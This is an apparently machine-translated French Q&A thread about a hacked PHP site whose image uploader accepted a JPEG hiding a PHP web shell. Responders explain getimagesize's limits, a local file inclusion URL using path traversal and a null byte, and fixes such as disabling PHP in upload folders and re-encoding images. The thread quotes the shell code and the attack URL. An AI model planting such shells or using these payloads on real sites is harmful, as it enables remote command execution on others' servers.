Mon php site a été piraté par des codes de téléchargement comme image..?
Hier, mon site est composé. L'attaquant des changements de la index.php fichier pour leur propre (avec toute leur gloire messages et le salue). J'ai notifié à la société d'hébergement sur ce sujet (nous sommes en cours d'exécution sur un serveur dédié), et pour ma part, je suis en train de régler tout ce qui semble être la cause, parce que je suis toujours incapable de point quelle est la genèse de notre serveur a été attaqué, mais je crois que j'ai trouvé certaines de script basé sur les lacunes qui pourraient éventuellement être le coupable.
Notre site a une image uploader forme, mais toutes les images téléchargées sont vérifiées si ils sont en effet un fichier image et pas certains codes en utilisant php, la fonction getimagesize. Uniquement si le type d'image est IMAGETYPE_GIF, ou IMAGETYPE_JPEG, ou IMAGETYPE_PNG pour qu'ils soient acceptés. Sinon, ils ne seront pas en mesure de télécharger le fichier. Cependant j'ai trouvé que celui téléchargé le fichier image contient un script php à l'intérieur! Vous pouvez télécharger l'image ici. C'est un fichier image valide, mais essayez d'ouvrir l'image dans un éditeur de texte et vous trouverez un code php à l'intérieur:
<?php
echo "<pre>"; system($_GET['cmd']); echo "</pre>";
?>
Par exemple, l'image est téléchargée à cet emplacement (www.mysite.com/uploads/picodes.jpg). Prendre note que le dossier uploads' permission 755. Est-il possible dans le monde, l'attaquant peut exécuter du système (ou de toute autre commande comme transitoire, puisque nous avons trouvé une autre image a le même code caché comme ci-dessus, mais au lieu de système, il a passthru de commande), par exemple, en tapant www.mysite.com/uploads/picodes.jpg?cmd=some la commande ?? De ma connaissance, il ne peut pas être fait (vraiment reconnaissant si quelqu'un peut me prouver le contraire), à moins que l'attaquant peut renommer le fichier jpg pour php, et de même que, ces codes sont cachés profondément à l'intérieur de l'image (voir l'image à l'intérieur de l'éditeur de texte pour comprendre ce que je veux dire)
Pour les précautions, j'ai désactivé ces fonctions php (exec, passthru, proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,système) en les ajoutant sur le disable_functions en php.ini.
De toute façon je continue de penser que l'attaquant accède pas par internet, mais via le serveur de l'exploiter, mais je pense que mon entreprise d'hébergement est d'un avis contraire.
.php
extension. Mais c'est vraiment une question pour le Serveur Faute. C'est ce que tu voulais savoir?Merci pour la réponse de david, mais comme je l'ai mentionné ci-dessus, tous les fichiers téléchargés sont vérifiés en premier lieu, et seulement s'ils sont fichier image (gif,jpg ou png) pour qu'ils soient acceptés. Sinon il sera rejeté. Si le téléchargement d'un fichier .extension php ou tout autre raw codes avec n'importe quelle extension est vouée à l'échec.
Eh bien, vous avez dit que vous utilisez
getimagesize
pour vérifier que l'image est une image, mais que la fonction ne pas vérifier l'extension du fichier. Il ne porte que sur le contenu du fichier. (Essayez: renommer picodes.jpg
à picodes.php
et de voir ce getimagesize("picodes.php")
vous donne.) Donc, vous devez également explicitement vérifier le nom sous lequel le fichier est téléchargé, et assurez-vous qu'il correspond au type d'image renvoyée par getimagesize
.OMG... comment puis-je oublier ce genre de chose??!! Merci beaucoup David!
php_admin_flag engine off
pour tous les répertoires/locations-vous stocker les mises à jour devraient être une partie de votre configuration d'Apache.
OriginalL'auteur imin | 2010-08-17
Vous devez vous connecter pour publier un commentaire.
Fichier Image avec du code PHP arbitraire ne peut pas être exploité avec demande directe, par exemple
http://www.mysite.com/uploads/image.jpg?cmd=somecode
.Encore, il peut être utilisé avec Local File Inclusion vulnerability.
Par exemple, dans index.php vous utilisez
include('pages/' . $_GET['page'] . '.php');
, alors attaquant peut envoyer une image avec du code PHP à l'intérieur et à exécuter des commandes avec qch comme ceci:http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00
UPD: modification de fichier dans l'URL de la page
page
et pasfile
dans l'url 😉vérifier stackoverflow.com/questions/13272231/... pour les autres usages sur windows serveurs mal configurés.
OriginalL'auteur p0deje
Les fichiers JPEG peuvent contenir des données arbitraires dans leur outre les données réelles de l'image; il fait partie de la spécification. Ainsi, simplement en vérifiant si une image est valide JPEG ne signifie pas que le fichier est nécessairement complètement inoffensif.
Il n'y a pas vraiment d'une façon 100% pour s'assurer que le fichier est inoffensif, c'est plus que vous devez éliminer des façons potentiellement d'exécuter des fichiers (que je ne peux pas vraiment vous donner un maximum d'aide, surtout ne connaissant pas les détails de la configuration du serveur).
hmm merci beaucoup... crois que je vais convertir tout télécharger l'image à d'autres types (par exemple, si jpg convertir gif, gif, jpg, png, jpg) pour supprimer tous les codes incorporé à l'intérieur le cas échéant. De toute façon personne ne va me répondre sur la façon dont ils vont exécuter les codes de l'intérieur sans renommer le fichier image de php?
comme l'Ambre, et je me suis laissé entendre dans les commentaires, nous aurions besoin de connaître les détails de la configuration de votre serveur pour répondre à cette question.
vous ne savez pas comment répondre à cette question, car notre fournisseur met tout en place (et nous leur faisons confiance pour le faire bien). De toute façon, fondamentalement, nous exécutez la Version de PHP 5.3.1, Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8 e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_jk/1.2.28 mod_perl/2.0.4 Perl/v5.8.8 Serveur http://www.trymasak.my le Port 80 (toutes prises de phpinfo())
OriginalL'auteur Amber
Cela peut ne pas être une vulnérabilité dans votre code. J'ai eu la même chose pour moi il y a quelques semaines. Bien que TOUS mes index.php les fichiers ont été supprimés, même ceux qui ne sont pas directement accessibles sur le web. Dans mon cas, c'est un trou de sécurité dans Linux. Rien à voir avec mon code. Ce fut la réponse de mon hébergeur (A2Hosting), concernant le problème. Une fois que je les ai convaincus qu'il n'était pas quelque chose que j'ai fait, ils comprendre les choses assez rapidement.
"Un récent exploiter dans le noyau Linux a été
utilisé pour accorder l'administrateur (root) l'accès aux répertoires des utilisateurs sur le
serveur. L'attaque consistait à enlever les fichiers d'index a trouvé dans
répertoires et de les remplacer par l'attaquant désiré
contenu: Un noir à la page web avec l'attaquant du nom de code, "iSKORPiTX
(En Turc Hacker)". Ce hack a été massive à travers l'internet et utilisé un
précédemment inconnu de la vulnérabilité, ce qui limite notre capacité en matière de prévention."
OriginalL'auteur Brent Baisley
Mon fichier image jusqu'-chargeur de réglage sont: télécharger le fichier temp, créer une nouvelle image à l'aide de imagecreatefromjpeg ou imagecreatefrompng ou imagecreatefromgif et enregistrer, supprimer le fichier téléchargé à partir du dossier temp (toutes ces choses qui se sont produites dans la même action de script, de sorte que le fichier téléchargé dans le dossier temp n'existe pas pour longtemps)
C'est tout à fait sûr que le script supprimer le fichier téléchargé dans les fractions de seconde.
OriginalL'auteur user424821